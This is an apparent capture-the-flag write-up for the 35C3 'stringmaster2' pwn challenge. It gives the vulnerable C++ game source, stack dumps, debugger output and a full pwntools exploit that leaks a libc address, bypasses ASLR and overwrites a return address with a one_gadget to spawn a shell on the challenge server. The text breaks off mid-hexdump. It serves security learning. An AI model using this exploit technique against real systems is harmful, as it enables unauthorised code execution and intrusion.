Dvd848 35C3 c4deaaf on Jan 2

1 contributor

670 lines (603 sloc) 34.9 KB

stringmaster2

PWN

Description:

> Eat, sleep, swap, replace This time with more mitigations!

```
#include <iostream>
#include <cstdlib>
#include <ctime>
#include <vector>
#include <unistd.h>
#include <limits>


using namespace std;

const string chars = "abcdefghijklmnopqrstuvwxy";


void print_menu() {
    cout << endl;
    cout << "Enter the command you want to execute:" << endl;
    cout << "[1] swap <index1> <index2>                  (Cost: 1)" << endl;
    cout << "[2] replace <char1> <char2>                 (Cost: 1)" << endl;
    cout << "[3] print                                   (Cost: 1)" << endl;
    cout << "[4] quit                                            " << endl;
    cout << "> ";
}

void play() {
    string from(10, '\00');
    string to(10, '\00');
    for (int i = 0; i < 10; ++i) {
        from[i] = chars[rand() % (chars.length() - 1)];
        to[i] = chars[rand() % (chars.length() - 1)];
    }


    cout << "Perform the following operations on String1 to generate String2 with minimum costs." << endl <
    cout << "[1] swap <index1> <index2>                  (Cost: 1)" << endl;
    cout << "    Swaps the char at index1 with the char at index2  " << endl;
    cout << "[2] replace <char1> <char2>                 (Cost: 1)" << endl;
    cout << "    Replaces the first occurence of char1 with char2  " << endl;
    cout << "[3] print                                   (Cost: 1)" << endl;
    cout << "    Prints the current version of the string          " << endl;
    cout << "[4] quit                                              " << endl;
    cout << "    Give up and leave the game                        " << endl;
    cout << endl;
    cout << "String1: " << from << endl;
    cout << "String2: " << to << endl;
    cout << endl;

    unsigned int costs = 0;
    string s(from);

    while (true) {
        print_menu();
```

```
        string command;
        cin >> command;

        if (command == "swap") {
            unsigned int i1, i2;
            cin >> i1 >> i2;
            if (cin.good() && i1 < s.length() && i2 < s.length()) {
                swap(s[i1], s[i2]);
            }
            costs += 1;
        } else if (command == "replace") {
            char c1, c2;
            cin >> c1 >> c2;
            auto index = s.find(c1);
            cout << c1 << c2 << index << endl;
            if (index >= 0) {
                s[index] = c2;
            }
            costs += 1;
        } else if (command == "print") {
            cout << s << endl;
            costs += 1;
        } else if (command == "quit") {
            cout << "You lost." << endl;
            break;
        } else {
            cout << "Invalid command" << endl;
        }

        if (!cin) {
            cin.clear();
            cin.ignore(numeric_limits<streamsize>::max(), '\n');
        }
        if (!cout) {
            cout.clear();
        }

        if (s == to) {
            cout << s.length() << endl;
            cout << endl;
            cout << "****************************************" << endl;
            cout << "* Congratulations                      " << endl;
            cout << "* You solved the problem with cost: " << costs << endl;
            cout << "****************************************" << endl;
            cout << endl;
            break;
        }
    }
}



int main() {
    srand(time(nullptr));

    play();
}
```

An executable file was attached as well, together with a LibC binary.

Solution:

This challenge is similar to the previous one - stringmaster1, except for the fact that we don't have the handy `spawn_shell` function anymore (and some extra security measures):

```
root@kali:/media/sf_CTFs/35c3ctf/stringmaster2# diff stringmaster2.cpp ../stringmaster1/stringmaster1.cpp
13a14,19
> void spawn_shell() {
>     char* args[] = {(char*)"/bin/bash", NULL};
>     execve("/bin/bash", args, NULL);
> }
```

```
>
>
root@kali:/media/sf_CTFs/35c3ctf/stringmaster2# checksec.sh -f stringmaster2
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FOR
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   101 Symbols     Yes

root@kali:/media/sf_CTFs/35c3ctf/stringmaster2# checksec.sh -f ../stringmaster1/stringmaster1
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FOR
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   100 Symbols     No
```

Let's start by dumping the stack like last time. This is done by adding `p.wait()` to the original exploit after dumping the unmodified stack.

```
[*] '/media/sf_CTFs/35c3ctf/stringmaster2/stringmaster2'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './stringmaster2': pid 1374
[*] String 1: eluamegqwh
[*] String 2: orefrjsvxx
[*] Replacing 'b' and 'b'
Before modification:
00000000  65 6c 75 61  6d 65 67 71  77 68 00 00  00 00 00 00  |elua|megq|wh··|····|
00000010  10 82 52 ae  ff 7f 00 00  05 00 00 00  00 00 00 00  |··R·|····|····|····|
00000020  70 72 69 6e  74 00 65 00  71 46 d7 72  61 55 00 00  |prin|t·e·|qF·r|aU··|
00000030  90 ff ff ff  ff ff ff ff  00 e7 34 58  46 e4 34 8e  |····|····|··4X|F·4·|
00000040  02 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  |····|····|····|····|
00000050  90 46 d7 72  61 55 00 00  30 32 d7 72  61 55 00 00  |·F·r|aU··|02·r|aU··|
00000060  50 83 52 ae  ff 7f 00 00  00 00 00 00  00 00 00 00  |P·R·|····|····|····|
00000070  00 00 00 00  00 00 00 00  fb 45 d7 72  61 55 00 00  |····|····|·E·r|aU··|
00000080  00 00 00 00  00 00 00 00  17 8b 98 5c  7b 7f 00 00  |····|····|···\|{···|
00000090  68 83 52 ae  ff 7f 00 00  58 83 52 ae  ff 7f 00 00  |h·R·|····|X·R·|····|
000000a0  b0 89 bf 5c  01 00 00 00  e1 45 d7 72  61 55 00 00  |···\|····|·E·r|aU··|
000000b0  00 00 00 00  00 00 00 00  39 89 22 f5  1d a9 29 c6  |····|····|9·"·|··)·|
000000c0  30 32 d7 72  61 55 00 00  50 83 52 ae  ff 7f 00 00  |02·r|aU··|P·R·|····|
000000d0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  |····|····|····|····|
000000e0  39 89 02 7d  16 10 14 93  39 89 9c 6d  82 f5 1d 92  |9··}|····|9··m|····|
000000f0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  |····|····|····|····|
00000100  00 00 00 00  00 00 00 00  68 83 52 ae  ff 7f 00 00  |····|····|h·R·|····|
00000110  70 01 d0 5c  7b 7f 00 00  d6 61 ce 5c  7b 7f 00 00  |p··\|{···|·a·\|{···|
00000120  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  |····|····|····|····|
00000130  00 00 00 00  00 00 00 00  30 32 d7 72  61 55 00 00  |····|····|02·r|aU··|
00000140  50 83 52 ae  ff 7f 00 00  5a 32 d7 72  61 55 00 00  |P·R·|····|Z2·r|aU··|
00000150  48 83 52 ae  ff 7f 00 00  1c 00 00 00  00 00 00 00  |H·R·|····|····|····|
00000160  01 00 00 00  00 00 00 00  05 98 52 ae  ff 7f 00 00  |····|····|··R·|····|
00000170  00 00 00 00  00 00 00 00  15 98 52 ae  ff 7f 00 00  |····|····|··R·|····|
00000180  20 98 52 ae  ff 7f 00 00  34 98 52 ae  ff 7f 00 00  | ·R·|····|4·R·|····|
00000190  44 98 52 ae  ff 7f 00 00  60 98 52 ae  ff 7f 00 00  |D·R·|····|`·R·|····|
000001a0  72 98 52 ae  ff 7f 00 00  7a 98 52 ae  ff 7f 00 00  |r·R·|····|z·R·|····|
000001b0  8d 98 52 ae  ff 7f 00 00  a3 98 52 ae  ff 7f 00 00  |··R·|····|··R·|····|
000001c0  8f 9e 52 ae  ff 7f 00 00  b8 9e 52 ae  ff 7f 00 00  |··R·|····|··R·|····|
000001d0  c9 9e 52 ae  ff 7f 00 00  ea 9e 52 ae  ff 7f 00 00  |··R·|····|··R·|····|
000001e0  f7 9e 52 ae  ff 7f 00 00  01 9f 52 ae  ff 7f 00 00  |··R·|····|··R·|····|
000001f0  15 9f 52 ae  ff 7f 00 00  64 9f 52 ae  ff 7f 00 00  |··R·|····|d·R·|····|
00000200  98 9f 52 ae  ff 7f 00 00  a3 9f 52 ae  ff 7f 00 00  |··R·|····|··R·|····|
00000210  d6 9f 52 ae  ff 7f 00 00  00 00 00 00  00 00 00 00  |··R·|····|····|····|
00000220  21 00 00 00  00 00 00 00  00 a0 53 ae  ff 7f 00 00  |!···|····|··S·|····|
00000230  10 00 00 00  00 00 00 00  ff fb 8b 07  00 00 00 00  |····|····|····|····|
00000240  06 00 00 00  00 00 00 00  00 10 00 00  00 00 00 00  |····|····|····|····|
00000250  11 00 00 00  00 00 00 00  64 00 00 00  00 00 00 00  |····|····|d···|····|
00000260  03 00 00 00  00 00 00 00  40 20 d7 72  61 55 00 00  |····|····|@ ·r|aU··|
00000270  04 00 00 00  00 00 00 00  38 00 00 00  00 00 00 00  |····|····|8···|····|
00000280  05 00 00 00  00 00 00 00  09 00 00 00  00 00 00 00  |····|····|····|····|
00000290  07 00 00 00  00 00 00 00  00 70 cd 5c  7b 7f 00 00  |····|····|·p·\|{···|
000002a0  08 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  |····|····|····|····|
000002b0  09 00 00 00  00 00 00 00  30 32 d7 72  61 55 00 00  |····|····|02·r|aU··|
000002c0  0b 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  |····|····|····|····|
```

```
000002d0  0c 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  |····|····|····|····|
000002e0  0d 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  |····|····|····|····|
000002f0  0e 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  |····|····|····|····|
00000300  17 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  |····|····|····|····|
00000310  19 00 00 00  00 00 00 00  59 85 52 ae  ff 7f 00 00  |····|····|Y·R·|····|
00000320  1a 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  |····|····|····|····|
00000330  1f 00 00 00  00 00 00 00  e8 9f 52 ae  ff 7f 00 00  |····|····|··R·|····|
00000340  0f 00 00 00  00 00 00 00  69 85 52 ae  ff 7f 00 00  |····|····|i·R·|····|
00000350  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  |····|····|····|····|
00000360  00 00 00 00  00 00 00 00  00 7a e7 34  58 46 e4 34  |····|····|·z·4|XF·4|
00000370  8e 01 bc 59  a6 75 b6 9c  44 78 38 36  5f 36 34 00  |···Y|·u··|Dx86|_64·|
00000380  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  |····|····|····|····|
*
00000400
```

We attach to the process using `gdb --pid 1374` . Now we can inspect the backtrace:

```
gdb-peda$ bt
#0  0x00007f7b5ca4f1d1 in __GI___libc_read (fd=0x0, buf=0x556173ecb2b0, nbytes=0x1000) at
../sysdeps/unix/sysv/linux/read.c:27
#1  0x00007f7b5c9e1838 in _IO_new_file_underflow (fp=0x7f7b5cb1da00 <_IO_2_1_stdin_>) at fileops.c:531
#2  0x00007f7b5c9e2972 in __GI__IO_default_uflow (fp=0x7f7b5cb1da00 <_IO_2_1_stdin_>) at genops.c:380
#3  0x00007f7b5cc2645d in __gnu_cxx::stdio_sync_filebuf<char, std::char_traits<char> >::underflow() ()
from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#4  0x00007f7b5cc33d2a in std::istream::sentry::sentry(std::istream&, bool) () from /usr/lib/x86_64-
linux-gnu/libstdc++.so.6
#5  0x00007f7b5cbe7e03 in std::basic_istream<char, std::char_traits<char> >& std::operator>><char,
std::char_traits<char>, std::allocator<char> >(std::basic_istream<char, std::char_traits<char> >&,
std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&) () from
/usr/lib/x86_64-linux-gnu/libstdc++.so.6
#6  0x0000556172d73e35 in play() ()
#7  0x0000556172d745fb in main ()
#8  0x00007f7b5c988b17 in __libc_start_main (main=0x556172d745e1 <main>, argc=0x1, argv=0x7fffae528358,
init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffae528348) at
../csu/libc-start.c:310
#9  0x0000556172d7325a in _start ()
```

Let's try to find the location of the following return address in the stack dump:

```
#7  0x0000556172d745fb in main ()
```

We can see it's at offset 0x78:

```
00000070  00 00 00 00  00 00 00 00  fb 45 d7 72  61 55 00 00  |····|····|·E·r|aU··|
```

Now we need to leak some runtime LibC address in order to calculate the runtime base address of LibC. We inspect the stack using `telescope` :

```
gdb-peda$ telescope $rsp 100
0000| 0x7fffae528078 --> 0x7f7b5c9e1838 (<_IO_new_file_underflow+296>:  test   rax,rax)
0008| 0x7fffae528080 --> 0x7f7b5cb1da00 --> 0xfbad2088
0016| 0x7fffae528088 --> 0x7f7b5cb1a2a0 --> 0x0
0024| 0x7fffae528090 --> 0x7fffae528137 --> 0x7f7b5ccbf08000
0032| 0x7fffae528098 --> 0x7f7b5ccbf080 --> 0x7f7b5ccb47b0 (:ctype<char>+16>:   0x00007f7b5cbf4250)
0040| 0x7fffae5280a0 --> 0x7fffae528194 --> 0x6200000062 ('b')
0048| 0x7fffae5280a8 --> 0x7f7b5c9e2972 (<__GI__IO_default_uflow+50>:   cmp    eax,0xffffffff)
0056| 0x7fffae5280b0 --> 0x7f7b5cb1a2a0 --> 0x0
0064| 0x7fffae5280b8 --> 0x7f7b5ccbd6a0 --> 0x7f7b5ccb7058 (:stdio_sync_filebuf<char,
std::char_traits<char> >+16>:     0x00007f7b5cc26390)
0072| 0x7fffae5280c0 --> 0x7f7b5ccbd6a0 --> 0x7f7b5ccb7058 (:stdio_sync_filebuf<char,
std::char_traits<char> >+16>:     0x00007f7b5cc26390)
0080| 0x7fffae5280c8 --> 0x7f7b5cc2645d (<__gnu_cxx::stdio_sync_filebuf<char, std::char_traits<char>
>::underflow()+13>:        mov    rsi,QWORD PTR [rbx+0x40])
0088| 0x7fffae5280d0 --> 0x556172f75140 (:cin@@GLIBCXX_3.4>:    0x00007f7b5ccb7ec0)
0096| 0x7fffae5280d8 --> 0x7f7b5cc33d2a (<std::istream::sentry::sentry(std::istream&, bool)+394>:
cmp    eax,0xffffffff)
0104| 0x7fffae5280e0 --> 0x7fffae528120 --> 0x556172f75001 --> 0x800000000000000
0112| 0x7fffae5280e8 --> 0x7fffae528200 --> 0x7fffae528210 --> 0x6500746e697200 ('')
0120| 0x7fffae5280f0 --> 0x2
0128| 0x7fffae5280f8 --> 0x7fffae528200 --> 0x7fffae528210 --> 0x6500746e697200 ('')
```

```
0136| 0x7fffae528100 --> 0x556172f75020 (:cout@@GLIBCXX_3.4>:   0x00007f7b5ccb8960)
0144| 0x7fffae528108 --> 0x7f7b5cbe7e03 (<std::basic_istream<char, std::char_traits<char> >&
std::operator>><char, std::char_traits<char>, std::allocator<char> >(std::basic_istream<char,
std::char_traits<char> >&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>
>&)+35>:    cmp    BYTE PTR [rsp+0x27],0x0)
0152| 0x7fffae528110 --> 0x7f7b5cb1e760 --> 0xfbad2aa4
0160| 0x7fffae528118 --> 0x7f7b5c9e1af3 (<_IO_new_file_overflow+259>:   cmp    eax,0xffffffff)
0168| 0x7fffae528120 --> 0x556172f75001 --> 0x8000000000000000
0176| 0x7fffae528128 --> 0x556172f75020 (:cout@@GLIBCXX_3.4>:   0x00007f7b5ccb8960)
0184| 0x7fffae528130 --> 0x7f7b5cb1a2a0 --> 0x0
0192| 0x7fffae528138 --> 0x7f7b5ccbf080 --> 0x7f7b5ccb47b0 (:ctype<char>+16>:   0x00007f7b5cbf4250)
--More--(25/100)
0200| 0x7fffae528140 --> 0x2
0208| 0x7fffae528148 --> 0x7fffae528200 --> 0x7fffae528210 --> 0x6500746e697200 ('')
0216| 0x7fffae528150 --> 0x2
0224| 0x7fffae528158 --> 0x620000000000000a ('\n')
0232| 0x7fffae528160 --> 0x556172f75020 (:cout@@GLIBCXX_3.4>:   0x00007f7b5ccb8960)
0240| 0x7fffae528168 --> 0x7fffae528194 --> 0x6200000062 ('b')
0248| 0x7fffae528170 --> 0x7fffae528198 --> 0x62 ('b')
0256| 0x7fffae528178 --> 0x556172d73e35 (<play()+2040>: lea    rsi,[rip+0xbeb]        # 0x556172d74a27)
0264| 0x7fffae528180 --> 0xffffffffffffffff
0272| 0x7fffae528188 --> 0x7fffae5281e0 --> 0x7fffae5281f0 ("eluamegqwh")
0280| 0x7fffae528190 --> 0x6262620000 ('')
0288| 0x7fffae528198 --> 0x62 ('b')
0296| 0x7fffae5281a0 --> 0x7fffae5281b0 ("eluamegqwh")
0304| 0x7fffae5281a8 --> 0xa ('\n')
0312| 0x7fffae5281b0 ("eluamegqwh")
0320| 0x7fffae5281b8 --> 0x6877 ('wh')
0328| 0x7fffae5281c0 --> 0x7fffae5281d0 ("orefrjsvxx")
0336| 0x7fffae5281c8 --> 0xa ('\n')
0344| 0x7fffae5281d0 ("orefrjsvxx")
0352| 0x7fffae5281d8 --> 0x7f7b5c007878
0360| 0x7fffae5281e0 --> 0x7fffae5281f0 ("eluamegqwh")
0368| 0x7fffae5281e8 --> 0x620000000000000a ('\n')
0376| 0x7fffae5281f0 ("eluamegqwh")
0384| 0x7fffae5281f8 --> 0x6877 ('wh')
0392| 0x7fffae528200 --> 0x7fffae528210 --> 0x6500746e697200 ('')
--More--(50/100)
0400| 0x7fffae528208 --> 0x0
0408| 0x7fffae528210 --> 0x6500746e697200 ('')
0416| 0x7fffae528218 --> 0x556172d74671 (<_GLOBAL__sub_I__Z10print_menuv+108>:  mov    rax,QWORD PTR
[rsp+0x8])
0424| 0x7fffae528220 --> 0xffffffffffffff90
0432| 0x7fffae528228 --> 0x8e34e4465834e700
0440| 0x7fffae528230 --> 0x2
0448| 0x7fffae528238 --> 0x0
0456| 0x7fffae528240 --> 0x556172d74690 (<__libc_csu_init>:     push   r15)
0464| 0x7fffae528248 --> 0x556172d73230 (<_start>:      xor    ebp,ebp)
0472| 0x7fffae528250 --> 0x7fffae528350 --> 0x1
0480| 0x7fffae528258 --> 0x0
0488| 0x7fffae528260 --> 0x0
0496| 0x7fffae528268 --> 0x556172d745fb (<main+26>:     mov    eax,0x0)
0504| 0x7fffae528270 --> 0x0
0512| 0x7fffae528278 --> 0x7f7b5c988b17 (<__libc_start_main+231>:       mov    edi,eax)
0520| 0x7fffae528280 --> 0x7fffae528368 --> 0x7fffae529815 ("LANG=en_IL")
0528| 0x7fffae528288 --> 0x7fffae528358 --> 0x7fffae529805 ("./stringmaster2")
0536| 0x7fffae528290 --> 0x15cbf89b0
0544| 0x7fffae528298 --> 0x556172d745e1 (<main>:        sub    rsp,0x8)
0552| 0x7fffae5282a0 --> 0x0
0560| 0x7fffae5282a8 --> 0xc629a91df5228939
0568| 0x7fffae5282b0 --> 0x556172d73230 (<_start>:      xor    ebp,ebp)
```

It looks like our stack leak starts at:

```
0376| 0x7fffae5281f0 ("eluamegqwh")
```

A few lines later, we see the return address from offset 0x78:

```
0496| 0x7fffae528268 --> 0x556172d745fb (<main+26>:     mov    eax,0x0)
```

Almost immediately after that, we have a LibC runtime address (or more accurately, 231 bytes from the start address of the function):

```
0512| 0x7fffae528278 --> 0x7f7b5c988b17 (<__libc_start_main+231>:       mov    edi,eax)
```

In our local environment, LibC is located at `/lib/x86_64-linux-gnu/libc.so.6`:

```
root@kali:/media/sf_CTFs/35c3ctf/stringmaster2# ldd ./stringmaster2
        linux-vdso.so.1 (0x00007ffccc303000)
        libstdc++.so.6 => /usr/lib/x86_64-linux-gnu/libstdc++.so.6 (0x00007ff234407000)
        libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007ff2343ed000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff234230000)
        libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007ff23409c000)
        /lib64/ld-linux-x86-64.so.2 (0x00007ff2347a5000)
```

We can check the compile-time address with pwntools:

```
>>> from pwn import *
>>> libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
>>> print hex(libc.symbols['__libc_start_main'])
0x22a30
```

So we can get the LibC runtime base address by performing:

```
0x7f7b5c988b17 - 231 - 0x22a30 = 0x7f7b5c966000
```

The address is 4K aligned so this looks correct.

Now we can use `one_gadget` to search for an address which will spawn us a shell:

```
root@kali:/media/sf_CTFs/35c3ctf/stringmaster2# one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4345e execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x434b2 execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xe42ee execve("/bin/sh", rsp+0x60, environ)
constraints:
  [rsp+0x60] == NULL
```

Our plan is to override the return address at offset 0x78 with libc_base + 0x4345e, and get a shell (of course, on the server, these addresses will be different).

The script:

```
from pwn import *
import argparse
import os
import string

#context.log_level = "debug"
LOCAL_PATH = "./stringmaster2"

def get_process(is_remote = False):
    if is_remote:
        return remote("35.207.132.47", 22225)
    else:
        return process(LOCAL_PATH)

def get_libc_path(is_remote = False):
    if is_remote:
        return "./libc-2.27.so"
    else:
        return "/lib/x86_64-linux-gnu/libc.so.6"

def get_one_gadget(is_remote = False):
    if is_remote:
        return 0x4f2c5
```

```
    else:
        return 0x4345e

def read_menu(proc):
    proc.recvuntil("\n> ")

def swap(proc, index1, index2):
    read_menu(proc)
    proc.sendline("swap")
    proc.sendline("{} {}".format(index1, index2))
    log.info("Swapping index {} and {}".format(index1, index2))

def replace(proc, char1, char2):
    read_menu(proc)
    proc.sendline("replace")
    proc.sendline("{} {}".format(char1, char2))
    log.info("Replacing '{}' and '{}'".format(char1, char2))

def print_info(proc):
    read_menu(proc)
    proc.sendline("print")
    return proc.recvuntil("\nEnter the command you want to execute:", drop = True)

def quit(proc):
    read_menu(proc)
    proc.sendline("quit")
    log.info("Quitting...")

parser = argparse.ArgumentParser()
parser.add_argument("-r", "--remote", help="Execute on remote server", action="store_true")
args = parser.parse_args()

e = ELF(LOCAL_PATH)
libc = ELF(get_libc_path(args.remote))


p = get_process(args.remote)
p.recvuntil("String1: ")
str1 = p.recvline()
p.recvuntil("String2: ")
str2 = p.recvline()

log.info("String 1: {}".format(str1))
log.info("String 2: {}".format(str2))
for x in string.ascii_lowercase:
    if x not in str1:
        missing_letter = x
        break
replace(p, x, x)

print "Before modification:"
stack = print_info(p)
print hexdump(stack)

base_index = 0x78
libc_start_main_base_index = 0x88

libc_start_main = u64(stack[libc_start_main_base_index:libc_start_main_base_index+8]) - 231
libc_base =  libc_start_main - libc.symbols["__libc_start_main"]
assert(libc_base & 0xFFF == 0)
log.info("libc_base: {}".format(hex(libc_base)))

libc.address = libc_base

one_gadget = libc_base + get_one_gadget(args.remote)
log.info("one_gadget address: {}".format(hex(one_gadget)))

for i, char in enumerate(p64(one_gadget)):
    replace(p, str1[0], char)
    swap(p, 0, base_index + i)
    str1 = print_info(p)[:len(str1)]

print "After modification:"
print hexdump(print_info(p))
quit(p)
p.interactive()
```

The output:

```
root@kali:/media/sf_CTFs/35c3ctf/stringmaster2# python exploit.py -r
[*] '/media/sf_CTFs/35c3ctf/stringmaster2/stringmaster2'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/media/sf_CTFs/35c3ctf/stringmaster2/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 35.207.132.47 on port 22225: Done
[*] String 1: fiwxkmqfdr
[*] String 2: akchuqvtth
[*] Replacing 'a' and 'a'
Before modification:
00000000  66 69 77 78  6b 6d 71 66  64 72 00 00  00 00 00 00  |fiwx|kmqf|dr··|····|
00000010  20 8d 60 bb  fd 7f 00 00  05 00 00 00  00 00 00 00  | ·`·|····|····|····|
00000020  70 72 69 6e  74 00 65 00  71 26 71 dd  11 56 00 00  |prin|t·e·|q&q·|·V··|
00000030  00 00 00 00  00 00 00 00  00 be ae 7a  78 b2 1c 75  |····|····|···z|x··u|
00000040  02 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  |····|····|····|····|
00000050  90 26 71 dd  11 56 00 00  30 12 71 dd  11 56 00 00  |·&q·|·V··|0·q·|·V··|
00000060  60 8e 60 bb  fd 7f 00 00  00 00 00 00  00 00 00 00  |`·`·|····|····|····|
00000070  00 00 00 00  00 00 00 00  fb 25 71 dd  11 56 00 00  |····|····|·%q·|·V··|
00000080  00 00 00 00  00 00 00 00  97 4b 1e d9  08 7f 00 00  |····|····|·K··|····|
00000090  90 ff ff ff  ff ff ff ff  68 8e 60 bb  fd 7f 00 00  |····|····|h·`·|····|
000000a0  90 ff ff ff  01 00 00 00  e1 25 71 dd  11 56 00 00  |····|····|·%q·|·V··|
000000b0  00 00 00 00  00 00 00 00  3a 8a c0 67  96 3f 3f f2  |····|····|:··g|·??·|
000000c0  30 12 71 dd  11 56 00 00  60 8e 60 bb  fd 7f 00 00  |0·q·|·V··|`·`·|····|
000000d0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  |····|····|····|····|
000000e0  3a 8a c0 31  b5 f3 e7 a1  3a 8a 7e bc  48 37 0d a0  |:··1|····|:·~·|H7··|
000000f0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  |····|····|····|····|
00000100  00 00 00 00  00 00 00 00  33 57 b6 d9  08 7f 00 00  |····|····|3W··|····|
00000110  b8 52 b4 d9  08 7f 00 00  7a 59 26 00  00 00 00 00  |·R··|····|zY&·|····|
00000120  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  |····|····|····|····|
00000130  00 00 00 00  00 00 00 00  30 12 71 dd  11 56 00 00  |····|····|0·q·|·V··|
00000140  60 8e 60 bb  fd 7f 00 00  5a 12 71 dd  11 56 00 00  |`·`·|····|Z·q·|·V··|
00000150  58 8e 60 bb  fd 7f 00 00  1c 00 00 00  00 00 00 00  |X·`·|····|····|····|
00000160  01 00 00 00  00 00 00 00  46 af 60 bb  fd 7f 00 00  |····|····|F·`·|····|
00000170  00 00 00 00  00 00 00 00  54 af 60 bb  fd 7f 00 00  |····|····|T·`·|····|
00000180  6a af 60 bb  fd 7f 00 00  75 af 60 bb  fd 7f 00 00  |j·`·|····|u·`·|····|
00000190  80 af 60 bb  fd 7f 00 00  c2 af 60 bb  fd 7f 00 00  |··`·|····|··`·|····|
000001a0  c8 af 60 bb  fd 7f 00 00  00 00 00 00  00 00 00 00  |··`·|····|····|····|
000001b0  21 00 00 00  00 00 00 00  00 10 78 bb  fd 7f 00 00  |!···|····|··x·|····|
000001c0  10 00 00 00  00 00 00 00  ff fb 8b 1f  00 00 00 00  |····|····|····|····|
000001d0  06 00 00 00  00 00 00 00  00 10 00 00  00 00 00 00  |····|····|····|····|
000001e0  11 00 00 00  00 00 00 00  64 00 00 00  00 00 00 00  |····|····|d···|····|
000001f0  03 00 00 00  00 00 00 00  40 00 71 dd  11 56 00 00  |····|····|@·q·|·V··|
00000200  04 00 00 00  00 00 00 00  38 00 00 00  00 00 00 00  |····|····|8···|····|
00000210  05 00 00 00  00 00 00 00  09 00 00 00  00 00 00 00  |····|····|····|····|
00000220  07 00 00 00  00 00 00 00  00 50 b5 d9  08 7f 00 00  |····|····|·P··|····|
00000230  08 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  |····|····|····|····|
00000240  09 00 00 00  00 00 00 00  30 12 71 dd  11 56 00 00  |····|····|0·q·|·V··|
00000250  0b 00 00 00  00 00 00 00  e8 03 00 00  00 00 00 00  |····|····|····|····|
00000260  0c 00 00 00  00 00 00 00  e8 03 00 00  00 00 00 00  |····|····|····|····|
00000270  0d 00 00 00  00 00 00 00  e8 03 00 00  00 00 00 00  |····|····|····|····|
00000280  0e 00 00 00  00 00 00 00  e8 03 00 00  00 00 00 00  |····|····|····|····|
00000290  17 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  |····|····|····|····|
000002a0  19 00 00 00  00 00 00 00  f9 8f 60 bb  fd 7f 00 00  |····|····|··`·|····|
000002b0  1a 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  |····|····|····|····|
000002c0  1f 00 00 00  00 00 00 00  e9 af 60 bb  fd 7f 00 00  |····|····|··`·|····|
000002d0  0f 00 00 00  00 00 00 00  09 90 60 bb  fd 7f 00 00  |····|····|··`·|····|
000002e0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  |····|····|····|····|
000002f0  00 00 00 00  00 00 00 00  00 12 be ae  7a 78 b2 1c  |····|····|····|zx··|
00000300  75 70 15 ba  42 0e 2f 1d  45 78 38 36  5f 36 34 00  |up··|B·/·|Ex86|_64·|
00000310  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  |····|····|····|····|
*
00001000
[*] libc_base: 0x7f08d91c3000
[*] one_gadget address: 0x7f08d92122c5
[*] Replacing 'f' and ''
[*] Swapping index 0 and 120
```

```
[*] Replacing '' and '"'
[*] Swapping index 0 and 121
[*] Replacing '%' and '!'
[*] Swapping index 0 and 122
[*] Replacing 'q' and ''
[*] Swapping index 0 and 123
[*] Replacing '' and '
[*] Swapping index 0 and 124
[*] Replacing '\x11' and '\x7f'
[*] Swapping index 0 and 125
[*] Replacing 'V' and '\x00'
[*] Swapping index 0 and 126
[*] Replacing '\x00' and '\x00'
[*] Swapping index 0 and 127
After modification:
00000000  00 69 77 78  6b 6d 71 66  64 72 00 00  00 00 00 00  |·iwx|kmqf|dr··|····|
00000010  20 8d 60 bb  fd 7f 00 00  05 00 00 00  00 00 00 00  | ·`·|····|····|····|
00000020  70 72 69 6e  74 00 65 00  71 26 71 dd  11 56 00 00  |prin|t·e·|q&q·|·V··|
00000030  00 00 00 00  00 00 00 00  00 be ae 7a  78 b2 1c 75  |····|····|···z|x··u|
00000040  02 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  |····|····|····|····|
00000050  90 26 71 dd  11 56 00 00  30 12 71 dd  11 56 00 00  |·&q·|·V··|0·q·|·V··|
00000060  60 8e 60 bb  fd 7f 00 00  00 00 00 00  00 00 00 00  |`·`·|····|····|····|
